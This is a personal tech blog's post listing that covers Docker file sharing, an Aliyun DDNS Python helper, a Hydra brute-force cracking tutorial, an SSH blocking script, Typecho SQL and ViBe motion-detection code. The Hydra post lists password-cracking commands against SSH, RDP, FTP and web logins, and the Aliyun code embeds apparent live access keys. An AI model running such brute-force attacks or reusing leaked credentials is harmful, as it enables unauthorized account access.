首页
壁纸
留言板
友链
更多
统计归档
Search
1
主板开机跳线接线图【F_PANEL接线图】
16,909 阅读
2
移动光猫获取超级密码&开启公网ipv6
13,647 阅读
3
TensorBoard:训练日志及网络结构可视化工具
13,006 阅读
4
Linux使用V2Ray 原生客户端
9,305 阅读
5
PC电源上供电接口定义
5,293 阅读
好物分享
实用教程
学习笔记
放码过来
深度学习
杂七杂八
bug处理
登录
/
注册
Search
标签搜索
好物分享
学习笔记
linux
MySQL
nvidia
typero
内网穿透
webdav
vps
java
cudann
gcc
cuda
树莓派
CNN
图像去雾
ssh安全
nps
暗通道先验
阿里云
jupiter
累计撰写
368
篇文章
累计收到
187
条评论
首页
栏目
好物分享
实用教程
学习笔记
放码过来
深度学习
杂七杂八
bug处理
页面
壁纸
留言板
友链
统计归档
搜索到
368
篇与
的结果
2021-12-08
Firefox Send:临时文件分享系统快速搭建
1.介绍Firefox Send是Firefox推出的一個全新的临时文件分享系统2. 使用Docker快速完成搭建2.1 安装Docker自行百度完成2.2 拉取镜像docker run --name send -d -p 1443:1443 moerats/send然后使用ip:1443访问即可,如果你想用其它端口,就更改前面的1443参数,比如8888:1443。3.修改文件上传大小上限找到目标容器ID# 找到目标容器ID docker psCONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 930ef8b92222 moerats/send "/start.sh" 12 minutes ago Up 12 minutes 0.0.0.0:1443->1443/tcp send ···进入容器# 进入容器 docker attach 930ef8b92222修改/send/server/config.js的内容apt install vim··· anon_max_file_size: { format: Number, default: 1024 * 1024 * 1024 * 5, # 修改文件大小上限这里 env: 'ANON_MAX_FILE_SIZE' }, ···重启容器参考资料使用Firefox Send搭建一个临时文件分享系统
2021年12月08日
2,116 阅读
0 评论
0 点赞
2021-12-08
AliyunDNSHelper:阿里云dns解析助手-python实现
1.准备工作首先得有一个阿里云的域名https://www.aliyun.com/minisite/goods安装阿里云SDK和其他第三方库pip install aliyun-python-sdk-core-v3 pip install aliyun-python-sdk-domain pip install aliyun-python-sdk-alidns pip install requests获取accessKeyId和accessSecret可以在阿里云控制台个人中心直接获取,但是一般建议使用RAM角色来进行权限控制,这样这个accessKey和accessSecret就只能操作域名,不能操作其他的资源,相对会比较安全。关于RAM快速入门:https://help.aliyun.com/document_detail/28637.html2.代码实现2.1 ali-dns-helper.py`from aliyunsdkcore.client import AcsClient from aliyunsdkcore.acs_exception.exceptions import ClientException from aliyunsdkcore.acs_exception.exceptions import ServerException from aliyunsdkalidns.request.v20150109.DescribeSubDomainRecordsRequest import DescribeSubDomainRecordsRequest from aliyunsdkalidns.request.v20150109.DescribeDomainRecordsRequest import DescribeDomainRecordsRequest import requests from urllib.request import urlopen import json class AliyunDNSHelper: def __init__(self,accessKeyId = "LTAI4GHqgJgbzPfNnkwyGqks",accessSecret = "CzXkUS8BWcjJ7qEbKrqg6qxUOdnW6M",domain = "4v7p.top"): """ 阿里云DNS助手初始化 需要传入自己的accessKeyId、accessSecret、domain """ self.client = AcsClient(accessKeyId, accessSecret, 'cn-hangzhou') self.domain = domain def update(self,RecordId, RR, Type, Value): """ 修改域名解析记录方法 参数列表: + RecordId:调用查询方法时候查到对应的记录会返回 + RR:记录名即子域名 + Type:记录类型包括CNAME、A、AAAA等 + Value:记录值 """ from aliyunsdkalidns.request.v20150109.UpdateDomainRecordRequest import UpdateDomainRecordRequest request = UpdateDomainRecordRequest() request.set_accept_format('json') request.set_RecordId(RecordId) request.set_RR(RR) request.set_Type(Type) request.set_Value(Value) response = self.client.do_action_with_exception(request) def add(self,DomainName, RR, Type, Value): """ 添加新的域名解析记录方法 参数列表: + DomainName:待修改的主域名 + RR:记录名即子域名 + Type:记录类型包括CNAME、A、AAAA等 + Value:记录值 """ from aliyunsdkalidns.request.v20150109.AddDomainRecordRequest import AddDomainRecordRequest request = AddDomainRecordRequest() request.set_accept_format('json') request.set_DomainName(DomainName) request.set_RR(RR) # https://blog.zeruns.tech request.set_Type(Type) request.set_Value(Value) response = self.client.do_action_with_exception(request) def select(self,subDomian): """ 查询子域域名解析记录 参数列表: + subDomian:子域名 """ request = DescribeSubDomainRecordsRequest() request.set_accept_format('json') request.set_DomainName(self.domain) request.set_SubDomain(subDomian + '.' + self.domain) response = self.client.do_action_with_exception(request) # 获取域名解析记录列表 domain_list = json.loads(response) # 将返回的JSON数据转化为Python能识别的 if domain_list["TotalCount"]==0: return None return domain_list["DomainRecords"]["Record"][0] def action(self,subDomian,Value,Type="A"): """ 执行用户关于DNS操作的的行为 参数列表: + action_type操作类型,包括add,update + subDomian:记录名即子域名 + Type:记录类型包括CNAME、A、AAAA等 + Value:记录值 """ print("待处理的记录为 %s:%s-->Domain:%s" % (Type,Value,subDomian + '.' + self.domain)) subDomian_record = self.select(subDomian) if subDomian_record: RecordId,RecordValue = subDomian_record["RecordId"],subDomian_record["Value"] if Value==RecordValue: print("该域名解析记录已存在,跳过") else: self.update(RecordId, subDomian, Type, Value) print("修改域名解析成功") else: self.add(self.domain, subDomian, Type, Value) print("新建域名解析成功") dnsHelper = AliyunDNSHelper(accessKeyId = "LTAI4GHqgJgbzPfNnkwyGqks",accessSecret = "CzXkUS8BWcjJ7qEbKrqg6qxUOdnW6M",domain = "4v7p.top") sub_domain = input("SubDomian:") value = input("value:") sub_domain_type = input("Type:") dnsHelper.action(sub_domain,value,sub_domain_type)2.2 ali-ddns-ipv6.py:实现ipv6 DDNS功能(ipv4同理)2.2.1 获取本机公网ipv6地址方法1:通过http接口获取(推荐)def getIPv6Address(): text = requests.get('https://v6.ident.me').text return text getIPv6Address()'2001:da8:a012:2da:2f0:d2ff:fed0:d0d2'方法2:python执行shell命令--其中的shell命令需要根据实际情况进行修改def get_local_ipv6(): """ 获取本机ipv6地址,其中的shell命令需要根据实际情况进行修改 """ import os; cmd_get_ipv6 = "ifconfig enp1s0 | awk '{if(NR==3){print $3}}'" # 获取本机ipv6的shell命令,需要根据实际情况进行修改 ipv6 = os.popen(cmd_get_ipv6).readlines()[0] if "/" in ipv6: ipv6 = ipv6.split("/")[0] return ipv6 get_local_ipv6()'2001:da8:a012:2da:2f0:d2ff:fed0:d0d2'2.2.2 配合time.sleep完成DDNS功能from aliyunsdkcore.client import AcsClient from aliyunsdkcore.acs_exception.exceptions import ClientException from aliyunsdkcore.acs_exception.exceptions import ServerException from aliyunsdkalidns.request.v20150109.DescribeSubDomainRecordsRequest import DescribeSubDomainRecordsRequest from aliyunsdkalidns.request.v20150109.DescribeDomainRecordsRequest import DescribeDomainRecordsRequest import requests from urllib.request import urlopen import json import time class AliyunDNSHelper: def __init__(self,accessKeyId = "LTAI4GHqgJgbzPfNnkwyGqks",accessSecret = "CzXkUS8BWcjJ7qEbKrqg6qxUOdnW6M",domain = "4v7p.top"): """ 阿里云DNS助手初始化 需要传入自己的accessKeyId、accessSecret、domain """ self.client = AcsClient(accessKeyId, accessSecret, 'cn-hangzhou') self.domain = domain def update(self,RecordId, RR, Type, Value): """ 修改域名解析记录方法 参数列表: + RecordId:调用查询方法时候查到对应的记录会返回 + RR:记录名即子域名 + Type:记录类型包括CNAME、A、AAAA等 + Value:记录值 """ from aliyunsdkalidns.request.v20150109.UpdateDomainRecordRequest import UpdateDomainRecordRequest request = UpdateDomainRecordRequest() request.set_accept_format('json') request.set_RecordId(RecordId) request.set_RR(RR) request.set_Type(Type) request.set_Value(Value) response = self.client.do_action_with_exception(request) def add(self,DomainName, RR, Type, Value): """ 添加新的域名解析记录方法 参数列表: + DomainName:待修改的主域名 + RR:记录名即子域名 + Type:记录类型包括CNAME、A、AAAA等 + Value:记录值 """ from aliyunsdkalidns.request.v20150109.AddDomainRecordRequest import AddDomainRecordRequest request = AddDomainRecordRequest() request.set_accept_format('json') request.set_DomainName(DomainName) request.set_RR(RR) # https://blog.zeruns.tech request.set_Type(Type) request.set_Value(Value) response = self.client.do_action_with_exception(request) def select(self,subDomian): """ 查询子域域名解析记录 参数列表: + subDomian:子域名 """ request = DescribeSubDomainRecordsRequest() request.set_accept_format('json') request.set_DomainName(self.domain) request.set_SubDomain(subDomian + '.' + self.domain) response = self.client.do_action_with_exception(request) # 获取域名解析记录列表 domain_list = json.loads(response) # 将返回的JSON数据转化为Python能识别的 if domain_list["TotalCount"]==0: return None return domain_list["DomainRecords"]["Record"][0] def action(self,subDomian,Value,Type="A"): """ 执行用户关于DNS操作的的行为 参数列表: + action_type操作类型,包括add,update + subDomian:记录名即子域名 + Type:记录类型包括CNAME、A、AAAA等 + Value:记录值 """ print("待处理的记录为 %s:%s-->Domain:%s" % (Type,Value,subDomian + '.' + self.domain)) subDomian_record = self.select(subDomian) if subDomian_record: RecordId,RecordValue = subDomian_record["RecordId"],subDomian_record["Value"] if Value==RecordValue: print("该域名解析记录已存在,跳过") else: self.update(RecordId, subDomian, Type, Value) print("修改域名解析成功") else: self.add(self.domain, subDomian, Type, Value) print("新建域名解析成功") def getIPv6Address(): text = requests.get('https://v6.ident.me').text # 接口失效后需要及时进行修改 return text dnsHelper = AliyunDNSHelper(accessKeyId = "LTAI4GHqgJgbzPfNnkwyGqks",accessSecret = "CzXkUS8BWcjJ7qEbKrqg6qxUOdnW6M",domain = "4v7p.top") sub_domain = "d2550-ipv6" sub_domain_type = "AAAA" while True: print("当前时间:",time.strftime("%Y-%m-%d %H:%M:%S", time.localtime())) value = getIPv6Address() dnsHelper.action(sub_domain,value,sub_domain_type) time.sleep(2*3600) # 每隔2个小时执行1次然后配合screen命令或者去掉无限循环使用定时任务进行执行即可完成ipv6的DDNS的功能参考资料Python实现阿里云域名DDNS支持ipv4和ipv6python 3.7.3 shell_python3执行shell命令的几种方式Python 获取本机公网IPv6地址Python 日期和时间
2021年12月08日
871 阅读
0 评论
0 点赞
2021-12-08
Hydra:Linux下暴力破解工具--ssh/ftp等暴力破解
1.简介hydra是著名黑客组织thc的一款开源的暴力密码破解工具,可以在线破解多种密码。官网:http://www.thc.org/thc-hydra可支持破解密码类型:AFP, Cisco AAA, Cisco auth, Cisco enable, CVS, Firebird, FTP, HTTP-FORM-GET, HTTP-FORM-POST, HTTP-GET, HTTP-HEAD, HTTP-PROXY, HTTPS-FORM-GET, HTTPS-FORM-POST, HTTPS-GET, HTTPS-HEAD, HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MYSQL, NCP, NNTP, Oracle Listener, Oracle SID, Oracle, PC-Anywhere, PCNFS, POP3, POSTGRES, RDP, Rexec, Rlogin, Rsh, SAP/R3, SIP, SMB, SMTP, SMTP Enum, SNMP, SOCKS5, SSH (v1 and v2), Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC and XMPP等。2.安装1.下载 https://www.thc.org/releases/hydra-8.3.tar.gz2.安装依赖包 如果是Debian和Ubuntu发行版,yum源里自带hydra,我们直接用apt-get在线安装。sudo apt-get -y install libssl-dev libssh-dev libidn11-dev libpcre3-dev libgtk2.0-dev libmysqlclient-dev libpq-dev libsvn-dev hydra gcc 对于Redhat/Centos/Fedora发行版,我们需要下载源码包,然后编译安装,因此先安装相关依赖包sudo yum -y install openssl-devel pcre-devel ncpfs-devel postgresql-devel libssh-devel subversion-devel gcc3.编译安装hydratar zxvf hydra-8.3.tar.gz cd hydra-8.3 ./configure --prefix=/path/to/hydra make && make install3.使用3.1 参数介绍hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e ns] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-f] [-s PORT] [-S] [-vV] server service [OPT] -R 继续从上一次进度接着破解。 -S 采用SSL链接。 -s PORT 可通过这个参数指定非默认端口。 -l LOGIN 指定破解的用户,对特定用户破解。 -L FILE 指定用户名字典。 -p PASS 小写,指定密码破解,少用,一般是采用密码字典。 -P FILE 大写,指定密码字典。 -e ns 可选选项,n:空密码试探,s:使用指定用户和密码试探。 -C FILE 使用冒号分割格式,例如“登录名:密码”来代替-L/-P参数。 -M FILE 指定目标列表文件一行一条。 -o FILE 指定结果输出文件。 -f 在使用-M参数以后,找到第一对登录名或者密码的时候中止破解。 -t TASKS 同时运行的线程数,默认为16。 -w TIME 设置最大超时的时间,单位秒,默认是30s。 -v / -V 显示详细过程。 server 目标ip service 指定服务名,支持的服务和协议:telnet ftp pop3[-ntlm] imap[-ntlm] smb smbnt http-{head|get} http-{get|post}-form http-proxy cisco cisco-enable vnc ldap2 ldap3 mssql mysql oracle-listener postgres nntp socks5 rexec rlogin pcnfs snmp rsh cvs svn icq sapr3 ssh smtp-auth[-ntlm] pcanywhere teamspeak sip vmauthd firebird ncp afp等等。 OPT 可选项3.2 具体使用方法介绍破解ssh的密码# hydra -L users.txt -P password.txt -vV -o ssh.log -e ns IP ssh破解https:# hydra -m /index.php -l username -P pass.txt IP https破解teamspeak:# hydra -l 用户名 -P 密码字典 -s 端口号 -vV ip teamspeak破解cisco:# hydra -P pass.txt IP cisco # hydra -m cloud -P pass.txt 10.36.16.18 cisco-enable破解smb:# hydra -l administrator -P pass.txt IP smb破解pop3:# hydra -l muts -P pass.txt my.pop3.mail pop3破解rdp:# hydra IP rdp -l administrator -P pass.txt -V破解http-proxy:# hydra -l admin -P pass.txt http-proxy://10.36.16.18破解telnet# hydra IP telnet -l 用户 -P 密码字典 -t 32 -s 23 -e ns -f -V破解ftp:# hydra IP ftp -l 用户名 -P 密码字典 -t 线程(默认16) -vV # hydra IP ftp -l 用户名 -P 密码字典 -e ns -vVget方式提交,破解web登录:# hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns IP http-get /admin/ # hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns -f IP http-get /admin/index.phppost方式提交,破解web登录:# hydra -l 用户名 -P 密码字典 -s 80 ip http-post-form "/admin/login.php:username=^USER^&password=^PASS^&submit=login:sorry password" # hydra -t 3 -l admin -P pass.txt -o out.txt -f 10.36.16.18 http-post-form "login.php:id=^USER^&passwd=^PASS^:wrong username or password" (参数说明:-t同时线程数3,-l用户名是admin,字典pass.txt,保存为out.txt,-f 当破解了一个密码就停止, 10.36.16.18目标ip,http-post-form表示破解是采用http的post方式提交的表单密码破解,<title>中的内容是表示错误猜解的返回信息提示。)破解imap:# hydra -L user.txt -p secret 10.36.16.18 imap PLAIN # hydra -C defaults.txt -6 imap://[fe80::2c:31ff:fe12:ac11]:143/PLAIN此工具强大之处远多于以上测试,其密码能否破解关键在于强大的字典,对于社工型渗透来说,有时能够得到事半功倍的效果4.实例4.1 实例1:ssh暴力破解主机# 需要事先准备好密码字典pass.txt hydra -l root -P pass.txt -vV -o ssh.log -e ns 10.1.9.249 ssh # 需要事先准备好用户名字典users.txt和密码字典pass.txt hydra -L users.txt -P pass.txt -vV -o ssh.log -e ns 10.1.9.249 ssh输出Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes. Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-12-08 00:01:49 [WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4 [WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore [DATA] max 16 tasks per 1 server, overall 16 tasks, 34264 login tries (l:2/p:17132), ~2142 tries per task [DATA] attacking ssh://10.1.9.249:22/ [VERBOSE] Resolving addresses ... [VERBOSE] resolving done [INFO] Testing if password authentication is supported by ssh://root@10.1.9.249:22 [INFO] Successful, password authentication is supported by ssh://10.1.9.249:22 [ATTEMPT] target 10.1.9.249 - login "root" - pass "root" - 1 of 34264 [child 0] (0/0) [ATTEMPT] target 10.1.9.249 - login "root" - pass "" - 2 of 34264 [child 1] (0/0) ······ [ATTEMPT] target 10.1.9.249 - login "root" - pass "echina0228" - 8 of 34264 [child 7] (0/0) [ATTEMPT] target 10.1.9.249 - login "root" - pass "xiaxue123-$$" - 9 of 34264 [child 8] (0/0) ······参考资料hydra 使用介绍1400多万个弱口令密码字典下载Linux下暴力破解工具Hydra详解
2021年12月08日
807 阅读
0 评论
0 点赞
2021-12-07
Linux防爆破ssh脚本-通过修改/etc/hosts.deny实现
注意:需要使用root用户身份操作1.ubuntu方式脚本编写mkdir /script vim /script/checkBlackIp.sh#!/bin/sh lastb |awk '/ssh/{print $3}' |sort |uniq -c |awk '{print $2"="$1}' >/script/black.list for i in `cat /script/black.list` do IP=`echo $i |awk -F= '{print $1}'` NUM=`echo $i |awk -F= '{print $2}'` echo $IP:$NUM if [ $NUM -gt 2 ]; then grep $IP /etc/hosts.deny >/dev/null if [ $? -gt 0 ];then echo "sshd:$IP:deny" echo "sshd:$IP:deny" >>/etc/hosts.deny fi fi done手工运行测试sudo bash /script/checkBlackIp.sh定时2分钟执行1次crontab -e# 加入如下内容 */2 * * * * root sh /script/checkBlackIp.sh2.centerOS方式脚本编写mkdir /script vim /script/checkBlackIp.sh#!/bin/bash cat /var/log/secure|awk '/Failed/{print $(NF-3)}'|sort|uniq -c|awk '{print $2"="$1;}' > /script/black.txt for i in `cat /script/black.list` do IP=`echo $i |awk -F= '{print $1}'` NUM=`echo $i |awk -F= '{print $2}'` echo $IP:$NUM if [ $NUM -gt 2 ]; then grep $IP /etc/hosts.deny >/dev/null if [ $? -gt 0 ];then echo "sshd:$IP:deny" echo "sshd:$IP:deny" >>/etc/hosts.deny fi fi done手工运行测试sudo bash checkBlackIp.sh定时2分钟执行1次crontab -e# 加入如下内容 */2 * * * * root sh /script/checkBlackIp.sh参考资料Linux Contos Ubuntu防爆破ssh脚本
2021年12月07日
965 阅读
0 评论
0 点赞
2021-12-07
为你的Handsome主题添上滑稽小表情
1.食用指南1.1 上手操作解压 funny.zip ,你将会得到 funny 文件夹和 OwO.json 文件,操作前请做好相应备份工作只适用于 Handsome 主题funny 文件夹放于 handsome 主题 usr/img/emotion/ 目录下OwO.json 替换原文件,,此 OwO.json 文件位于 usr/ 目录下有人说表情默认显示太大,那就加个css调和下/*滑稽小表情自定义大小*/ .emotion-funny { width: 30px; } .comment-content-**true** img.emotion-funny { max-width: 100%!important; }文件下载点我下载 funny.zip2.成果展示
2021年12月07日
693 阅读
0 评论
0 点赞
2021-12-07
Typecho 网站域名更换方法
1.通用网站域名更换方法域名解析,把新网站域名解析到网站 IP 上修改 web 服务器配置文件,如 nginx.conf 、.htaccess、以及配置 SSL 证书等修改站点配置和网站内容2.Typecho 网站域名更换Typecho 网站的域名更换方法和上面的基本一致,在第三点上可能有一些通过数据库操作的便捷方法。对于网站配置和网站内容的修改,一种办法是进入到网站后台,挨个进行修改,只是这种方法太过于麻烦和耗时,另一种简易的办法是通过数据库直接进行修改,非常便捷,有遗漏的手动进行查漏补缺即可。以下 SQL 语句默认表前缀为 typecho_,若你的数据库表前缀不是 typecho_,请自行修改语句。2.1修改 typecho\_options 表将网站的设置里的域名替换成新的域名:UPDATE `typecho_options` SET `value` = '新域名地址' WHERE `typecho_options`.`name` = 'siteUrl' AND `typecho_options`.`user` =0;2.1修改 typecho\_contents 表将网站文章里的旧域名替换成新的域名:UPDATE `typecho_contents` SET `text` = REPLACE(`text`,'旧域名地址','新域名地址');2.3修改 typecho\_users 表将管理员的个人网站进行替换UPDATE `typecho_users` SET `url` = REPLACE(`url`,'旧域名地址','新域名地址');2.4修改 typecho\_comments 表对评论中的管理员的域名,和评论中的旧域名进行替换UPDATE `typecho_comments` SET `url` = REPLACE(`url`,'旧域名地址','新域名地址'); UPDATE `typecho_comments` SET `text` = REPLACE(`text`,'旧域名地址','新域名地址'); 如果使用的域名邮箱,也建议进行更换 UPDATE `typecho_comments` SET `mail` = REPLACE(`mail`,'旧域名地址','新域名地址');2.5查漏补缺如果还有其他的地方修改,参照上面的 SQL 语句进行替换即可,也可以进入网站后台手动进行修改~
2021年12月07日
1,634 阅读
3 评论
0 点赞
2021-12-07
ViBe(Visual Background Extractor)背景模型介绍与实现
1.原理介绍1.1 模型工作原理背景物体就是指静止的或是非常缓慢的移动的物体,而前景物体就对应移动的物体。所以我们可以把物体检测看出一个分类问题,也就是来确定一个像素点是否属于背景点。在ViBe模型中,背景模型为每个像素点存储了一个样本集,然后将每一个新的像素值和样本集进行比较来判断是否属于背景点。可以知道如果一个新的观察值属于背景点那么它应该和样本集中的采样值比较接近。该模型主要包括三个方面:(1)算法模型初始化;(2)像素的分类过程;(3)模型的更新策略。1.2关于样本集的大小假定我们要处理的每一帧图像是$M \times N$ 个像素的,$x$表示某帧图像的一个像素点。模型要为$M \times N$中每个像素建立一个样本集,$x$像素的样本集可以表示为$$ M(x)=\{p_1 , p_2 , p_3 … p_n\} $$每个样本集的大小为n,n这个值如何确定的,暂时不用管,一般是实验得出的,论文中取$n=20$。所以样本集的总大小为$M \times N \times n$。1.3模型的初始化初始化就是建立背景模型的过程。通用的检测算法的初始化需要一定长度的视频序列来完成,通常要耗费数秒的时间,这极大的影戏的检测的实时性,对于手持相机实时拍照来讲并不合适。ViBe的初始化仅仅通过一帧图像即可完成。ViBe初始化就是填充像素的样本集的过程。由于在一帧图像中不可能包含像素点的时空分布信息,我们利用了相近像素点拥有相近的时空分布特性,具体来讲就是:对于一个像素点$x$,随机的选择它的邻居点$NG(x)$的像素值作为它的模型样本值$M_0(x)$。$$ M_0(x) = {p_0(y | y ∈NG(x))} $$这种初始化方法的优缺点:优点对于噪声的反应比较灵敏,计算量小速度快,不仅减少了背景模型建立的过程,还可以处理背景突然变化的情况,当检测到背景突然变化明显时,只需要舍弃原始的模型,重新利用变化后的首帧图像建立背景模型。缺点用于作平均的几帧初始图像中可能采用了运动物体的像素,这种条件下初始化样本集,容易引入拖影(Ghost)区域;1.4像素的分类过程(前景检测)如下图,假定当前帧为第$ t$ 帧,$p_t(x)$表示第$ t$ 帧图像 $x$ 像素的像素值,图中的$p1$到$p6$都是$x$像素的样本集中的值。那图中的横坐标C1和纵坐标C2是什么呢?我们假定我们处理的图像每个像素是RGB格式的,即一个像素值由R,G,B三个值表示,那么图中的坐标其实还隐藏了C3,即C1,C2,C3表示的正是三个通道值,如果是灰度图的话下面的图就要画成一维一条直线了。接下来我们根据预先设定的半径R统计以当前像素点为中心的圆形区域$S_R(p_t{x})$(实际对应到RGB空间中为球形区域)中包含的该像素点的样本集中的样本的数量,这里记为#。在距$p_t(x)$值半径R距离范围内的样本值有$p_2,p_4$,在半径R范围内的样本值总数计为#,那么下图#=2。让后将该值与预先设定的阈值#min(论文中给出的值是2)进行对比,当#<#min的值时,x这个像素就被标记为前景像素,否则就将其标记为背景像素,依次处理所有像素,就能得出前景图像了1.5模型的更新策略即使已经建立起了背景模型,也应该对背景模型进行不断的更新,这样才能使得背景模型能够适应背景的不断变化(如光照变化,背景物体变更等)。A. 普通更新策略对于其他的背景提取算法,背景模型有两种不同的更新策略:保守更新策略:前景点永远不会用来填充模型这样会引起死锁,产生Ghost区域。比如初始化的时候如果一块静止的区域被错误的检测为运动的,那么在这种策略下它永远会被当做运动的物体来对待;Blind策略:前景和背景都可以用来更新背景模型;对死锁不敏感,但这样的缺点在于,缓慢移动的物体会融入到背景中,无法检测出来;B. ViBe算法更新策略ViBe算法中,使用的更新策略是:保守更新策略 + 前景点计数法 + 随机子采样。保守更新策略:前景点永远不会用来填充模型前景点计数法:对像素点进行统计,如果某个像素点连续N次被检测为前景,则将其更新为背景点;随机子采样:在每一个新的视频帧中都去更新背景模型中的每一个像素点的样本值是没有必要的,当一个像素点被分类为背景点时,它有1/φ的概率去更新背景模型。这就决定了ViBe算法的更新策略的其他属性:无记忆更新策略:每次确定需要更新像素点的背景模型时,以新的像素值随机取代该像素点样本集的一个样本值;时间取样更新策略:并非每处理一帧数据,都需要更新处理,而是按一定的更新率更新背景模型;当一个像素点被判定为背景时,它有1/φ的概率更新背景模型;φ是时间采样因子,一般取值为16;空间邻域更新策略:针对需要更新像素点,在该像素点的邻域中随机选择一个像素点,以新选择的像素点更新被选中的背景模型;C. ViBe算法具体更新的方法:每个背景点都有1/φ的概率更新该像素点的模型样本值;有1/φ的概率去更新该像素点邻居点的模型样本值;前景点计数达到临界值时,将其变为背景,并有1/ φ的概率去更新自己的模型样本值。2.算法实现import numpy as np import cv2 class ViBe: ''' ViBe运动检测,分割背景和前景运动图像 ''' def __init__(self,num_sam=20,min_match=2,radiu=20,rand_sam=16): self.defaultNbSamples = num_sam #每个像素的样本集数量,默认20个 self.defaultReqMatches = min_match #前景像素匹配数量,如果超过此值,则认为是背景像素 self.defaultRadius = radiu #匹配半径,即在该半径内则认为是匹配像素 self.defaultSubsamplingFactor = rand_sam #随机数因子,如果检测为背景,每个像素有1/defaultSubsamplingFactor几率更新样本集和领域样本集 self.background = 0 self.foreground = 255 def __buildNeighborArray(self,img): ''' 构建一副图像中每个像素的邻域数组 参数:输入灰度图像 返回值:每个像素9邻域数组,保存到self.samples中 ''' height,width=img.shape self.samples=np.zeros((self.defaultNbSamples,height,width),dtype=np.uint8) #生成随机偏移数组,用于计算随机选择的邻域坐标 ramoff_xy=np.random.randint(-1,2,size=(2,self.defaultNbSamples,height,width)) #ramoff_x=np.random.randint(-1,2,size=(self.defaultNbSamples,2,height,width)) #xr_=np.zeros((height,width)) xr_=np.tile(np.arange(width),(height,1)) #yr_=np.zeros((height,width)) yr_=np.tile(np.arange(height),(width,1)).T xyr_=np.zeros((2,self.defaultNbSamples,height,width)) for i in range(self.defaultNbSamples): xyr_[1,i]=xr_ xyr_[0,i]=yr_ xyr_=xyr_+ramoff_xy xyr_[xyr_<0]=0 tpr_=xyr_[1,:,:,-1] tpr_[tpr_>=width]=width-1 tpb_=xyr_[0,:,-1,:] tpb_[tpb_>=height]=height-1 xyr_[0,:,-1,:]=tpb_ xyr_[1,:,:,-1]=tpr_ #xyr=np.transpose(xyr_,(2,3,1,0)) xyr=xyr_.astype(int) self.samples=img[xyr[0,:,:,:],xyr[1,:,:,:]] def ProcessFirstFrame(self,img): ''' 处理视频的第一帧 1、初始化每个像素的样本集矩阵 2、初始化前景矩阵的mask 3、初始化前景像素的检测次数矩阵 参数: img: 传入的numpy图像素组,要求灰度图像 返回值: 每个像素的样本集numpy数组 ''' self.__buildNeighborArray(img) self.fgCount=np.zeros(img.shape) #每个像素被检测为前景的次数 self.fgMask=np.zeros(img.shape) #保存前景像素 def Update(self,img): ''' 处理每帧视频,更新运动前景,并更新样本集。该函数是本类的主函数 输入:灰度图像 ''' height,width=img.shape #计算当前像素值与样本库中值之差小于阀值范围RADIUS的个数,采用numpy的广播方法 dist=np.abs((self.samples.astype(float)-img.astype(float)).astype(int)) dist[dist<self.defaultRadius]=1 dist[dist>=self.defaultRadius]=0 matches=np.sum(dist,axis=0) #如果大于匹配数量阀值,则是背景,matches值False,否则为前景,值True matches=matches<self.defaultReqMatches self.fgMask[matches]=self.foreground self.fgMask[~matches]=self.background #前景像素计数+1,背景像素的计数设置为0 self.fgCount[matches]=self.fgCount[matches]+1 self.fgCount[~matches]=0 #如果某个像素连续50次被检测为前景,则认为一块静止区域被误判为运动,将其更新为背景点 fakeFG=self.fgCount>50 matches[fakeFG]=False #此处是该更新函数的关键 #更新背景像素的样本集,分两个步骤 #1、每个背景像素有1/self.defaultSubsamplingFactor几率更新自己的样本集 ##更新样本集方式为随机选取该像素样本集中的一个元素,更新为当前像素的值 #2、每个背景像素有1/self.defaultSubsamplingFactor几率更新邻域的样本集 ##更新邻域样本集方式为随机选取一个邻域点,并在该邻域点的样本集中随机选择一个更新为当前像素值 #更新自己样本集 upfactor=np.random.randint(self.defaultSubsamplingFactor,size=img.shape) #生成每个像素的更新几率 upfactor[matches]=100 #前景像素设置为100,其实可以是任何非零值,表示前景像素不需要更新样本集 upSelfSamplesInd=np.where(upfactor==0) #满足更新自己样本集像素的索引 upSelfSamplesPosition=np.random.randint(self.defaultNbSamples,size=upSelfSamplesInd[0].shape) #生成随机更新自己样本集的的索引 samInd=(upSelfSamplesPosition,upSelfSamplesInd[0],upSelfSamplesInd[1]) self.samples[samInd]=img[upSelfSamplesInd] #更新自己样本集中的一个样本为本次图像中对应像素值 #更新邻域样本集 upfactor=np.random.randint(self.defaultSubsamplingFactor,size=img.shape) #生成每个像素的更新几率 upfactor[matches]=100 #前景像素设置为100,其实可以是任何非零值,表示前景像素不需要更新样本集 upNbSamplesInd=np.where(upfactor==0) #满足更新邻域样本集背景像素的索引 nbnums=upNbSamplesInd[0].shape[0] ramNbOffset=np.random.randint(-1,2,size=(2,nbnums)) #分别是X和Y坐标的偏移 nbXY=np.stack(upNbSamplesInd) nbXY+=ramNbOffset nbXY[nbXY<0]=0 nbXY[0,nbXY[0,:]>=height]=height-1 nbXY[1,nbXY[1,:]>=width]=width-1 nbSPos=np.random.randint(self.defaultNbSamples,size=nbnums) nbSamInd=(nbSPos,nbXY[0],nbXY[1]) self.samples[nbSamInd]=img[upNbSamplesInd] def getFGMask(self): ''' 返回前景mask ''' return self.fgMask调用测试import matplotlib.pyplot as plt # 使用opencv加载目标视频 video_path = "./test.mp4" capture = cv2.VideoCapture(video_path) # 实例化ViBe模型 vibe=ViBe() # 第一帧标志 flag_first_frame = True while True: # 逐一读取视频帧 ret, frame = capture.read() if not ret: break # 将视频帧转为灰度图 gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY) # 如果是第一帧,则用于初始化背景模型 if flag_first_frame: vibe.ProcessFirstFrame(gray) flag_first_frame = False continue # 否则更新背景模型 vibe.Update(gray) # 获取前景并转为uint8类型 segMat=vibe.getFGMask() segMat = segMat.astype(np.uint8) # 拼接出显示图片 img_show = np.hstack((frame,cv2.cvtColor(segMat,cv2.COLOR_GRAY2BGR))) # 缩放到原来的二分之一并显示 x, y = img_show.shape[0:2] img_show = cv2.resize(img_show, (int(y / 2), int(x / 2))) cv2.imshow('vibe',img_show) if 